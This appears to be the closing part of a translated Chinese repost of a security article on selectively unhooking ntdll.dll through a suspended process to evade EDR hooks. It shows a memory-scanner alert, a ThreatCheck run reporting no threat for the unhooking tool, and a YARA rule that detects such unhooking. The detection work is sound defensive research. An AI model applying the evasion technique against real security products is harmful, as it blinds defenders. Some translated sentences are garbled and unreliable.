现在是时候看看防御系统是否将其检测为恶意威胁了。

静态分析:

动态分析:

所有检测方法都类似这样:

Level: suspect
Details:
Executable region&nbsp;00007ff9ecb46000 does not aligned with section header
Parsed&nbsp;Details:
region_address:&nbsp;00007ff9ecb46000
region_decimal:&nbsp;140711394828288
Module Information
Base&nbsp;Address:&nbsp;0x7ff9ec8e0000
Path: \Device\HarddiskVolume3\Windows\System32\ntdll.dll
Size:&nbsp;2.41&nbsp;MB

这表明该发现可疑,虽然并非立即构成恶意,但绝对是异常的,并且可能是篡改或作弊的迹象。

主要线条的含义

“可执行区域 00007ff9ecb46000 与节标题不对齐”

这意味着:

  • 从 . 开始有一个可执行内存区域0x00007ff9ecb46000。
  • 然而,该内存区域与PE 头(可移植可执行文件格式)中描述的任何部分都不对齐(匹配)。ntdll.dll

为什么这很可疑:

通常情况下,已加载的 DLL 中的所有可执行内存区域(例如 DLL 内部的所有区域)ntdll.dll都应该与 PE 头文件中定义的部分(例如 DLL 、 DLL 等)完全匹配。.text.data

威胁检查

C:\Users\s12de\Desktop\ThreatCheck\ThreatCheck\bin\Debug>ThreatCheck.exe-fZ:\UnhookDetectedHooks.exe
[+]Nothreatfound!
[*]Runtime: 0.39s

Windows Defender

BitDefender Free AV

YARA

rule Selective_In_Memory_NTDLL_Unhooking
{
&nbsp; &nbsp; meta:
&nbsp; &nbsp; &nbsp; &nbsp; author =&nbsp;"0x12 Dark Development"
&nbsp; &nbsp; &nbsp; &nbsp; description =&nbsp;"Detects Selective In-Memory Syscall Unhooking techniques"
&nbsp; &nbsp; &nbsp; &nbsp; version =&nbsp;"1.0"
&nbsp; &nbsp; &nbsp; &nbsp; date =&nbsp;"2025-07-03"
&nbsp; &nbsp; &nbsp; &nbsp; reference =&nbsp;"Inspired by known unhooking methods such as Perun's Fart and Hell's Gate"

&nbsp; &nbsp; strings:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Common API usage
&nbsp; &nbsp; &nbsp; &nbsp; $a1 =&nbsp;"ReadProcessMemory"&nbsp;nocase
&nbsp; &nbsp; &nbsp; &nbsp; $a2 =&nbsp;"VirtualProtect"&nbsp;nocase
&nbsp; &nbsp; &nbsp; &nbsp; $a3 =&nbsp;"FlushInstructionCache"&nbsp;nocase
&nbsp; &nbsp; &nbsp; &nbsp; $a4 =&nbsp;"CreateProcess"&nbsp;nocase
&nbsp; &nbsp; &nbsp; &nbsp; $a5 =&nbsp;"GetModuleInformation"&nbsp;nocase
&nbsp; &nbsp; &nbsp; &nbsp; $a6 =&nbsp;"EnumProcessModulesEx"&nbsp;nocase

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Heuristic syscall stub (mov r10, rcx; mov eax, imm32; syscall; ret)
&nbsp; &nbsp; &nbsp; &nbsp; $b1 = {&nbsp;4C&nbsp;8B D1 B8 ?? ?? ?? ??&nbsp;0F&nbsp;05&nbsp;C3 }

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Checking for jump instructions (used to detect hooks)
&nbsp; &nbsp; &nbsp; &nbsp; $c1 = { FF&nbsp;25&nbsp;?? ?? ?? ?? }&nbsp;// JMP [rip+offset]
&nbsp; &nbsp; &nbsp; &nbsp; $c2 = { E9 ?? ?? ?? ?? }&nbsp;// JMP rel32
&nbsp; &nbsp; &nbsp; &nbsp; $c3 = { EB ?? }&nbsp;// JMP short

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Indicators of in-memory PE parsing
&nbsp; &nbsp; &nbsp; &nbsp; $d1 =&nbsp;"IMAGE_EXPORT_DIRECTORY"&nbsp;nocase
&nbsp; &nbsp; &nbsp; &nbsp; $d2 =&nbsp;"AddressOfFunctions"&nbsp;nocase
&nbsp; &nbsp; &nbsp; &nbsp; $d3 =&nbsp;"AddressOfNames"&nbsp;nocase
&nbsp; &nbsp; &nbsp; &nbsp; $d4 =&nbsp;"e_lfanew"&nbsp;nocase

&nbsp; &nbsp; condition:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;4&nbsp;of ($a*)&nbsp;and1&nbsp;of ($b*)&nbsp;and&nbsp;any of ($c*)&nbsp;and&nbsp;any of ($d*)
}
  • ReadProcessMemory读取已挂起进程的内存( ),提取干净的系统调用存根,以及用覆盖内存,这些操作的组合VirtualProtect是现代解钩操作的典型特征。
  • 寻找跳线指令(例如JMP rel32,JMP [rip+offset]等)是检测钩子的常用方法。
  • 导出解析对于查找系统调用存根地址是必要的,而像这样的工具必须执行此操作。
  • 该规则避免依赖静态字符串或文件名,而是专注于核心行为。

以下是我收集的YARA规则:

  • https://github.com/S12cybersecurity/YaraRules

END

公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址

排版 编辑 | Ots 小安

采集 翻译 | Ots Ai牛马

公众号 | AnQuan7 (Ots安全)


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Ots安全 《精准打击 EDR 钩子:Suspended Process 的选择性 syscall 救赎》

评论:0   参与:  0